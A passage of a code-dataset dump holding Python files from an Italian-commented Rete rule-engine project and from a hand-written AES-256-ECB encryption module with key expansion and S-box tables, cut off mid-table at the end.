\"t non e' un Token\"\n \n if self._perform_tests(wme, t):\n # controllo se prima c'erano match\n if t.count_njresults() == 0:\n # se non c'erano match\n # allora il token e' stato propagato\n # e quindi devo revocarlo\n t.deleteDescendents()\n\n # creo il NegativeJoinResult\n njr = NegativeJoinResult(t, wme)\n \n t.add_njresult(njr)\n wme.add_njresult(njr)\n \n def update(self, child):\n '''\n Esegue l'aggiornamento dei figli (attivandoli a sinistra)\n se vengono trovati token che non hanno match per njresult\n (il nodo e' negativo)\n '''\n for t in self.get_items():\n assert isinstance(t, Token), \\\n \"t non e' un Token\"\n \n if t.count_njresults() == 0:\n child.leftActivation(t, None)\n\n def delete(self):\n '''\n Esegue la rimozione del nodo dalla rete,\n pulendo la memoria interna del nodo\n '''\n \n # questo codice e' identico\n # a quello per la pulizia della BetaMemory\n # ma questo elemento non e' derivato\n # ho cercato di evitare da doppia ereditariera'\n #while len(self._items) > 0:\n while len(self.get_items()) > 0:\n tok = self.get_items().pop(0)\n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n tok.delete()\n \n JoinNode.delete(self)\n \n \n \nclass NccNode(BetaMemory):\n '''\n Parte sinistra del duo Ncc\n '''\n\n\n def __init__(self, parent, partner_parent, partner_subnet_count):\n '''\n Constructor\n '''\n self._partner = NccPartnerNode(partner_parent, partner_subnet_count, self)\n \n BetaMemory.__init__(self, parent)\n \n \n def get_partner(self):\n '''\n Restituisce il partner di questo nodo\n @return: NccPartnerNode\n '''\n return self._partner\n \n @staticmethod\n def factory(parent, conds, earlier_conds, builtins, alpha_root):\n \n #assert isinstance(parent, ReteNode), \\\n # \"parent non e' un ReteNode\"\n \n assert isinstance(earlier_conds, list), \\\n \"earlier_conds non e' una list\"\n \n # costruisce le sotto condizioni della NccCondition\n # come se fossero normali condizioni (e non interne ad una NCC)\n # in modo da poterle condividerle con altre condizioni positive\n # se presenti (o aggiunte in futuro)\n from icse import rete\n last_node = rete.network_factory(alpha_root, parent, conds, earlier_conds, builtins )\n \n assert isinstance(last_node, ReteNode)\n \n # controllo che non sia il primo beta-node\n if parent != None:\n for child in parent.get_children():\n # c'e' gia un figlio che e' un NCC\n # e il cui partner mangia dalla stessa sottorete\n # che rappresenta le condizioni di questa NCC\n if isinstance(child, NccNode) \\\n and child.get_partner().get_parent() == last_node:\n # la condivido!\n return child\n\n # nada, niente da condividere (almeno a livello di NCC)\n \n ncc = NccNode(parent, last_node, len(conds))\n\n # inserisco i vari riferimenti dei figli nei padri\n parent.append_child(ncc)\n last_node.add_child(ncc.get_partner())\n\n \n # completare l'aggiornamento\n # prima devo aggiornare l'NccNode e dopo il partner\n # per evitare che si crei confusione nel buffer nel partner\n \n parent.update(ncc)\n last_node.update(ncc.get_partner())\n \n EventManager.trigger(EventManager.E_NODE_ADDED, ncc)\n EventManager.trigger(EventManager.E_NODE_ADDED, ncc.get_partner())\n EventManager.trigger(EventManager.E_NODE_LINKED, ncc, parent, -1)\n EventManager.trigger(EventManager.E_NODE_LINKED, ncc.get_partner(), ncc)\n EventManager.trigger(EventManager.E_NODE_LINKED, ncc.get_partner(), last_node, -1) \n\n #NetworkXGraphWrapper.i().add_node(ncc, parent, -1)\n #NetworkXGraphWrapper.i().add_node(ncc.get_partner(), last_node, -1)\n #NetworkXGraphWrapper.i().add_edge(ncc.get_partner(), ncc)\n \n \n \n return ncc\n \n def leftActivation(self, tok, wme):\n \n new_token = Token(self, tok, wme)\n #self._items.insert(0, new_token)\n self._items[new_token] = new_token\n \n results = self.get_partner().flush_resultbuffer()\n for r in results:\n assert isinstance(r, Token), \\\n \"r non e' un Token\"\n new_token.add_nccresult(r)\n \n r.set_owner(new_token)\n \n # controllo se ho trovato match\n if new_token.count_nccresults() == 0:\n # e nel caso non ci siano attivo i figlioli\n \n for child in self.get_children():\n child.leftActivation(new_token, None)\n\n def update(self, child):\n '''\n Esegue l'aggiornamento dei figli (attivandoli a sinistra)\n se vengono trovati token che non hanno match per nccresult\n (il nodo e' negativo)\n '''\n for t in self.get_items():\n assert isinstance(t, Token), \\\n \"t non e' un Token\"\n \n if t.count_nccresults() == 0:\n child.leftActivation(t)\n\n def delete(self):\n '''\n Esegue la rimozione del nodo dalla rete\n (a seguito della rimozione di una produzione)\n \n L'eliminazione tiene provoca la rimozione\n del partner (e dei padre inutile del partner)\n '''\n self.get_partner().delete()\n \n EventManager.trigger(EventManager.E_NODE_UNLINKED, self.get_partner(), self)\n \n # chiamo la rimozione di BetaMemory (che se la vedra'\n # per quanto riguarda la rimozione dei token)\n # e poi chiamera' ReteNode.delete() per la pulizia\n # generica\n BetaMemory.delete(self)\n \nclass NccPartnerNode(ReteNode):\n '''\n Partner node di un NCC sinistro\n (consente di simulare un attivazione\n sinistra da destra)\n '''\n\n\n def __init__(self, parent, cond_count, nccnode):\n '''\n Constructor\n '''\n ReteNode.__init__(self, parent)\n \n self._nccnode = nccnode\n self._conjuctions = cond_count\n \n # list of partial-match wating to be read from\n # the ncc-node\n self._resultbuffer = deque()\n \n \n def flush_resultbuffer(self):\n rb = self._resultbuffer\n self._resultbuffer = deque()\n return rb\n \n def get_nccnode(self):\n return self._nccnode\n \n def leftActivation(self, tok, wme):\n \n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n new_result = Token(self, tok, wme)\n \n # Cerchiamo il token padre di questo che possa rappresentare\n # correttamente l'owner del nuovo token.\n # risaliamo il percorso per trovare il token che e' emerso\n # dalla join della precedente condizione\n \n owner_t = tok\n owner_w = wme\n for _ in range(0, self._conjuctions):\n owner_w = owner_t.get_wme()\n owner_t = owner_t.get_parent()\n \n # cerchiamo per un token nella memoria del nodo ncc\n # che abbia gia come owner owner_t trovato e\n # come wme l'wme trovato\n for ncc_token in self._nccnode.get_items():\n assert isinstance(ncc_token, Token)\n if ncc_token.get_parent() == owner_t \\\n and ncc_token.get_wme() == owner_w:\n \n # c'e' ne gia uno\n # aggiungiamo new_result come \n # nuovo figlio ncc-result del token\n # trovato (e chiaramente colleghiamo come owner\n # l'owner trovato al nuovo result\n ncc_token.add_nccresult(new_result)\n new_result.set_owner(ncc_token)\n \n # visto che il token ha avuto un match\n # dobbiamo provvedere ad eliminare tutti\n # gli eventuali discendenti che ci sono\n # in quanto la condizione negativa\n # non e' piu valida\n \n ncc_token.deleteDescendents()\n \n # abbiamo trovato un match, non ha senso continuare\n # oltre nel ciclo (e nella funzione)\n return\n \n # non abbiamo trovato nessun match nell'ncc-node\n # questo significa che la sotto-rete negativa\n # ha trovato un match ma che il ncc-node\n # non e' ancora stato attivato\n # (in quanto ultimo dei figli del padre della sottorete)\n # memorizzo il risultato nel buffer e aspetto\n # pazientemente l'attivazione\n # del ncc-node\n #self._resultbuffer.insert(0, new_result)\n self._resultbuffer.appendleft(new_result)\n \n \n def delete(self):\n '''\n Pulisce il buffer\n e poi elimino il nodo tramite il \n delete base\n '''\n while len(self._resultbuffer) > 0:\n # il contenuto del buffer\n # sono token... e per eliminarli\n # chiamo la delete direttamente \n #self._resultbuffer.pop(0).delete()\n self._resultbuffer.popleft().delete()\n\n # propago la chiamata al metodo\n # base per pulizia di base\n ReteNode.delete(self)\n\nclass DummyJoinNode(JoinNode):\n '''\n Rappresenta la \n '''\n\n def __init__(self, amem, tests):\n '''\n Constructor\n '''\n JoinNode.__init__(self, None, amem, tests)\n \n def rightActivation(self, wme):\n \n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n # converto la wme in un token dummy per\n # iniziare ad elaborare la beta-network\n \n tok = DummyToken()\n \n for child in self.get_children():\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n if self._perform_tests(wme, tok):\n \n child.leftActivation(tok, wme)\n\n def get_tests(self):\n return self._tests\n \nclass DummyNegativeNode(NegativeNode):\n \n def __init__(self, amem, tests):\n NegativeNode.__init__(self, None, amem, tests)\n \n \n def rightActivation(self, wme):\n \n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n t = DummyToken()\n \n if self._perform_tests(wme, t):\n # controllo se prima c'erano match\n if t.count_njresults() == 0:\n # se non c'erano match\n # allora il token e' stato propagato\n # e quindi devo revocarlo\n t.deleteDescendents()\n\n # creo il NegativeJoinResult\n njr = NegativeJoinResult(t, wme)\n \n t.add_njresult(njr)\n wme.add_njresult(njr)\n \nclass FilterNode(ReteNode):\n '''\n JoinNode: rappresenta un nodo giunzione fra uno\n proveniente dall'AlphaNetwork e uno proveniente da\n BetaNetwork \n '''\n\n def __init__(self, parent, tests):\n '''\n Constructor\n '''\n assert isinstance(tests, list), \\\n \"tests non e' una list\"\n \n # filtra tutti gli elementi non JoinTest\n self._tests = [x for x in tests if isinstance(x, FilterTest)]\n ReteNode.__init__(self, parent)\n \n \n def leftActivation(self, tok, wme = None):\n \n assert isinstance(tok, Token), \\\n \"tok non e' un Token, \"+str(tok)\n \n if self._perform_tests(tok):\n for child in self._children:\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n # attiva a sinistra i figli\n # (che sono betamemory o riconducibili)\n child.leftActivation(tok, None)\n\n def _perform_tests(self, tok):\n \n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n for t in self._tests:\n \n if not t.perform(tok):\n return False\n \n return True\n \n @staticmethod\n def factory(parent, tests):\n\n assert isinstance(parent, ReteNode), \\\n \"Un FilterNode deve avere per forza un parent ReteNode\"\n\n assert isinstance(tests, list), \\\n \"tests non e' una list\"\n\n for child in parent.get_children():\n # escludo che un join node possa essere condiviso da un\n # NegativeNode con gli stessi test e alpha-memory\n if isinstance(child, JoinNode) and not isinstance(child, NegativeNode):\n if child.get_tests() == tests:\n # stessi test, testa amem... condivido il nodo\n return child\n \n # non posso condividere un nuovo gia esistente\n # con queste informazioni, quindi ne creo uno nuovo\n # e lo aggiunto alla rete\n \n fn = FilterNode(parent, tests)\n parent.add_child(fn)\n\n EventManager.trigger(EventManager.E_NODE_ADDED, fn)\n EventManager.trigger(EventManager.E_NODE_LINKED, fn, parent, -1)\n\n return fn\n \n def delete(self):\n '''\n Esegue la cancellazione del nodo\n propagando la cancellazione all'alpha-memory\n se non e' condivisa con altri nodi\n '''\n \n self._amem.remove_successor(self)\n \n if self._amem.is_useless():\n self._amem.delete()\n \n \n ReteNode.delete(self)\n \n def get_tests(self):\n return self._tests\n \n def update(self, child):\n\n # questo nodo e' collegamento direttamente da un betanode\n # quindi per eseguire l'aggiornamento\n # devo leggere i token dal padre\n # e mandarli al figlio\n \n saved_children = self.get_children()\n \n self._children = [child]\n \n for tok in self.get_parent().get_items():\n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n # forzo l'aggiornamento di ogni wme che\n # verra' propagata ai figli (che in questo\n # caso sono solo quello nuovo... temporaneamente) \n self.leftActivation(tok)\n \n # ho aggiornato il figlio, a questo punto\n # ripristino la vecchia lista\n self._children = saved_children\n \n \n \n \n \n " }, { "alpha_fraction": 0.4585152864456177, "alphanum_fraction": 0.4825327396392822, "avg_line_length": 17.70833396911621, "blob_id": "caa4ba76ea8969cfa607d4a04d94f3007dfaf8dd", "content_id": "5cf905faba87c571a5530588d8ed718f2687e080", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 458, "license_type": "no_license", "max_line_length": 42, "num_lines": 24, "path": "/src/icse/functions/Modulus.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass Modulus(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'mod',\n 'minParams': 2,\n 'handler': Modulus.handler\n })\n return sign\n \n @staticmethod\n def handler(op1, op2):\n return (op1 % op2)\n \n " }, { "alpha_fraction": 0.4383735656738281, "alphanum_fraction": 0.44345617294311523, "avg_line_length": 25.21666717529297, "blob_id": "8e7889dc8a9092af2add1c3d81597c7ac0969783", "content_id": "4faa5a718acdb840d874190bb9769f0b08b21334", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1574, "license_type": "no_license", "max_line_length": 99, "num_lines": 60, "path": "/src/icse/parser/__init__.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "\nfrom icse.parser.ClipsEbnf import ClipsEbnf\n\n\n\ndef parse(text, debug=False, strict=False):\n '''\n Legge una stringa\n '''\n \n if not strict:\n parser = ClipsEbnf.get_parser(debug)\n \n return parser.parseString(text, True)[:]\n \n \ndef parseFile(filepath, debug=False):\n \n filer = open(filepath, 'r')\n return parse(filer.read(), debug)\n \n \n \ndef debug_parsed(items):\n \n for (_, item) in items:\n if isinstance(item, dict):\n for (k,v) in item.items():\n if isinstance(v, dict):\n print \"{0} : {{\\n{1}\\n}}\".format(k,\n \"\\n\".join(\n [\"\\t{0} : {1}\".format(kk, vv) for (kk,vv) in v.items()]\n )\n )\n elif isinstance(v, list):\n print \"{0} : [\\n\\t{1}\\n]\".format(k,\n \"\\n\\t\".join([repr(x) for x in v])\n )\n else:\n print \"{0} : {1}\".format(k, v)\n elif isinstance(item, list):\n for x in item:\n print x\n else:\n print item\n \n \n \n \ndef new_parser_bridge(text, debug=False):\n \n from myclips.parser.Parser import Parser\n \n parser = Parser(debug, None, True, True)\n\n parsed = parser.getSParser(\"CLIPSProgramParser\").parseString(text)\n \n print parsed\n \n#override normal parse function\n#parse = new_parser_bridge\n" }, { "alpha_fraction": 0.4406392574310303, "alphanum_fraction": 0.456620991230011, "avg_line_length": 27.633333206176758, "blob_id": "fd158a6cc8279a5924305bde8a13180130d5d8b2", "content_id": "358521228cd4c707fe1abe148ba72e2b316bcb74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 876, "license_type": "no_license", "max_line_length": 90, "num_lines": 30, "path": "/src/icse/functions/StringConcat.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass StringConcat(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'str-cat',\n 'minParams': 2,\n 'handler': StringConcat.handler\n })\n return sign\n \n @staticmethod\n def handler(*args):\n# return '\"'+\"\".join([str(x) if isinstance(x, (str,unicode)) and x[0] != '\"'\n# else str(x)[1,-1] if isinstance(x, (str,unicode)) and x[0] == '\"'\n# else str(x)\n# for x in list(args)])+'\"'\n to_string = [str(x) for x in list(args)]\n unquoted = [x if x[0] != '\"' else x[1:-1] for x in to_string]\n return '\"'+ \"\".join(unquoted) + '\"'\n \n " }, { "alpha_fraction": 0.47117793560028076, "alphanum_fraction": 0.49498745799064636, "avg_line_length": 22.515151977539062, "blob_id": "01e1ad8b7357d9d75b1f814c62deeaddcfd32bfc", "content_id": "9f14813042933361bbef4136bd3f38f4a9d6a5b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 798, "license_type": "no_license", "max_line_length": 71, "num_lines": 33, "path": "/src/icse/predicates/StringEq.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import PositivePredicate\n\nclass StringEq(PositivePredicate):\n '''\n Predicato di uguaglianza:\n controlla se un valore e' uguale a tutti gli altri (almeno uno)\n '''\n \n SIGN = 'eq'\n \n @staticmethod\n def compare(*args):\n '''\n Restituisce (value1==value2)\n @param value1: simbolo\n @param value2: simbolo \n @return: boolean\n '''\n if len(args) == 2:\n value1, value2 = args\n return (value1 == value2)\n else:\n value1 = args[0]\n for altro in list(args[1:]):\n if value1 != altro:\n return False\n \n return True \n \n " }, { "alpha_fraction": 0.5580736398696899, "alphanum_fraction": 0.5750707983970642, "avg_line_length": 19, "blob_id": "7a40664e89cfb3ddde94358a022b28194d58257d", "content_id": "5d46101a8036c1136aee46c31a05357446f3a399", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 353, "license_type": "no_license", "max_line_length": 54, "num_lines": 17, "path": "/src/icse/actions/Assert.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\n\nclass Assert(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n SIGN = 'assert'\n \n def executeImpl(self, *args):\n facts = self._resolve_args(False, True, *args)\n for fact in facts:\n self.assertFact(fact)\n \n " } ]
64
ltk/PyCry
https://github.com/ltk/PyCry
d8eb46214cb7b2ce52304dacab879711087e6dd7
8007bb30dda05ceeaec26ae9e4a833cbe36165fa
1bbbdc2757498aa2aa4cbd41b12350669b755bec
refs/heads/master
2020-03-21T10:19:59.925022
2018-08-10T01:12:37
2018-08-10T01:12:37
138,445,791
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5054054260253906, "alphanum_fraction": 0.6230905055999756, "avg_line_length": 43.21038818359375, "blob_id": "91da5c11ceaf5ed25c18c39c9c6e4c6a8ae11518", "content_id": "4439588bf9399684d3b3397362948b5c05db3595", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17020, "license_type": "no_license", "max_line_length": 146, "num_lines": 385, "path": "/pycry_aes.py", "repo_name": "ltk/PyCry", "src_encoding": "UTF-8", "text": "# AES-256-ECB Decryption\ndef decrypt(ciphertext_bytes, key_bytes):\n # Decryption process operates on one 16-byte block at a time\n block_length = 16\n\n # Expand the provided key to enough bytes for unique round keys for each round\n expanded_key = expand_key(key_bytes)\n\n # Split the encrypted bytes into blocks of size block_length\n state_blocks = []\n while len(ciphertext_bytes) > 0:\n block = bytearray()\n for n in range(block_length):\n if len(ciphertext_bytes) > 0:\n block.append(ciphertext_bytes.pop(0))\n state_blocks.append(block)\n\n # Take one block at a time, and decrypt it!\n i = 0\n while i < len(state_blocks):\n state_block = state_blocks[i]\n\n # Perform the inverse of each of the rounds we performed during encryption\n # Perform the inverse of the encryption. AKA run the same rounds, but in reverse\n # round order. And within each round, perform the steps in reverse order as well.\n for round in range(14, -1, -1):\n # Get a unique key for this number round\n round_key = _round_key(expanded_key, round)\n\n # Perform the key block XOR step\n state_block = bytearray(a ^ b for a, b in zip(state_block, round_key))\n\n # If this is the last round (remember that we're counting down in the for loop)\n # skip everything other than the key block XOR that we just performed.\n if round > 0:\n if round != 14:\n # If we're not in the first round, perform the column mixing step\n state_block = inverse_mix_columns(state_block)\n\n # Perform the row transposition step\n state_block = inverse_row_transposition(state_block)\n\n # Perform the byte substitution step\n state_block = bytearray(map(inverse_s_box, state_block))\n\n # Save the decrypted bytes back to our array of blocks, then move on to the next block\n state_blocks[i] = state_block\n i = i + 1\n \n # Remove CMS padding - learnt from https://asecuritysite.com/encryption/padding\n last_block = state_blocks[-1]\n last_byte = last_block[-1]\n if int(last_byte <= 16):\n for _ in range(int(last_byte)):\n last_block.pop()\n\n # Join all the bytes from our blocks, and return all the decrypted bytes\n return bytearray([byte for block in state_blocks for byte in block])\n\n# AES-256-ECB Encryption\ndef encrypt(plaintext_bytes, key_bytes):\n # Encryption process operates on one 16-byte block at a time\n block_length = 16\n\n # Expand the provided key to enough bytes for unique round keys for each round\n expanded_key = expand_key(key_bytes)\n \n # All of our blocks need to be _exactly_ block_length bytes long.\n # If our last block would be missing bytes, add Cryptographic Message Syntax (CMS) padding.\n # CMS padding means filling the remainder of the block with bytes representing the number\n # of missing bytes. Learnt from https://asecuritysite.com/encryption/padding\n padding_needed = (block_length - (len(plaintext_bytes) % block_length)) % block_length\n for _ in range(padding_needed):\n plaintext_bytes.append(padding_needed)\n\n # Split the plaintext bytes into blocks of size block_length \n state_blocks = []\n while len(plaintext_bytes) > 0:\n block = bytearray()\n for n in range(block_length):\n if len(plaintext_bytes) > 0:\n block.append(plaintext_bytes.pop(0))\n state_blocks.append(block)\n\n # Take one block at a time, and encrypt it!\n i = 0\n while i < len(state_blocks):\n state_block = state_blocks[i]\n\n # AES-256 consists of 14 rounds of encrypting goodness\n for round in range(0, 15):\n # Get a unique key for this number round\n round_key = _round_key(expanded_key, round)\n\n # For the first round, we only perform the key block XOR step.\n if round > 0:\n # Perform the byte substitution\n state_block = bytearray(map(s_box, state_block))\n\n # Perform the row transposition\n state_block = row_transposition(state_block)\n\n if round != 14:\n # If we're not in the last round, perform the column mixing step\n state_block = mix_columns(state_block)\n \n # Perform the key block XOR step\n state_block = bytearray(a ^ b for a, b in zip(state_block, round_key))\n \n\n # Save the encrypted bytes back to our array of blocks, then move on to the next block\n state_blocks[i] = state_block\n i = i + 1\n\n # Join all the bytes from our blocks, and return all the encrypted bytes\n return bytearray([byte for block in state_blocks for byte in block])\n\ndef expand_key(key_bytes):\n required_key_bytes = 32\n required_expansion_bytes = 240\n\n if len(key_bytes) < required_key_bytes:\n raise ValueError(\"Need a longer key! Provided key was \" + str(len(key_bytes)) + \" bytes. \" + str(required_key_bytes) + \" bytes required.\")\n\n # Ignore extra key bytes\n key_bytes = key_bytes[0:required_key_bytes]\n\n # Generate new bytes in required_key_bytes-byte increments until we have enough\n # New bytes are generated according to the Rijndael key schedule - https://en.wikipedia.org/wiki/Rijndael_key_schedule\n i = 1\n while len(key_bytes) < required_expansion_bytes:\n # First add 4 more bytes\n last_4 = key_bytes[-4:] \n new_bytes = last_4\n new_bytes = key_schedule_core(new_bytes, i)\n i = i + 1\n new_bytes = _four_byte_xor(key_bytes, new_bytes, required_key_bytes)\n key_bytes = key_bytes + new_bytes\n\n # Then create 4 bytes 3 times for 12 more bytes\n for n in range(3):\n last_4 = key_bytes[-4:]\n new_bytes = last_4\n key_bytes = key_bytes + _four_byte_xor(key_bytes, new_bytes, required_key_bytes)\n\n # Then add 4 more bytes\n last_4 = key_bytes[-4:]\n new_bytes = bytearray(map(s_box, last_4))\n key_bytes = key_bytes + _four_byte_xor(key_bytes, new_bytes, required_key_bytes)\n\n # Then create 4 bytes 3 times for 12 more bytes \n for n in range(3):\n last_4 = key_bytes[-4:]\n new_bytes = last_4\n new_bytes = _four_byte_xor(key_bytes, new_bytes, required_key_bytes)\n key_bytes = key_bytes + new_bytes\n\n return key_bytes[0:required_expansion_bytes]\n\ndef key_schedule_core(word, i):\n if (len(word) != 4):\n raise ValueError(\"Words provided to `key_schedule_core` must be 4 bytes. Provided word was \" + str(len(word)) + \" bytes.\")\n\n # Rotate the output eight bits to the left\n word.append(word.pop(0))\n\n # Perform s-box substitution for each byte\n word = bytearray(map(s_box, word))\n\n # XOR the first byte with the rcon value for the current iteration\n word[0] = _rcon(i) ^ word[0]\n\n return word\n\ndef inverse_s_box(byte):\n # Learnt from http://www.samiam.org/s-box.html\n inverse_sbox = [0x52,0x09,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbf,0x40,0xa3,0x9e,0x81,0xf3,0xd7,0xfb,\n 0x7c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb,\n 0x54,0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0x0b,0x42,0xfa,0xc3,0x4e,\n 0x08,0x2e,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25,\n 0x72,0xf8,0xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92,\n 0x6c,0x70,0x48,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84,\n 0x90,0xd8,0xab,0x00,0x8c,0xbc,0xd3,0x0a,0xf7,0xe4,0x58,0x05,0xb8,0xb3,0x45,0x06,\n 0xd0,0x2c,0x1e,0x8f,0xca,0x3f,0x0f,0x02,0xc1,0xaf,0xbd,0x03,0x01,0x13,0x8a,0x6b,\n 0x3a,0x91,0x11,0x41,0x4f,0x67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73,\n 0x96,0xac,0x74,0x22,0xe7,0xad,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e,\n 0x47,0xf1,0x1a,0x71,0x1d,0x29,0xc5,0x89,0x6f,0xb7,0x62,0x0e,0xaa,0x18,0xbe,0x1b,\n 0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4,\n 0x1f,0xdd,0xa8,0x33,0x88,0x07,0xc7,0x31,0xb1,0x12,0x10,0x59,0x27,0x80,0xec,0x5f,\n 0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0x0d,0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef,\n 0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,\n 0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d]\n\n return inverse_sbox[byte]\n\ndef s_box(byte):\n # Learnt from http://www.samiam.org/s-box.html\n sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\n 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\n 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\n 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\n 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\n 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\n 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]\n\n return sbox[byte]\n\ndef _rcon(i):\n # Learnt from https://en.wikipedia.org/wiki/Rijndael_key_schedule\n rcon_table = [0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, \n 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, \n 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, \n 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, \n 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, \n 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, \n 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, \n 0x36, 0x6c, 0xd8, 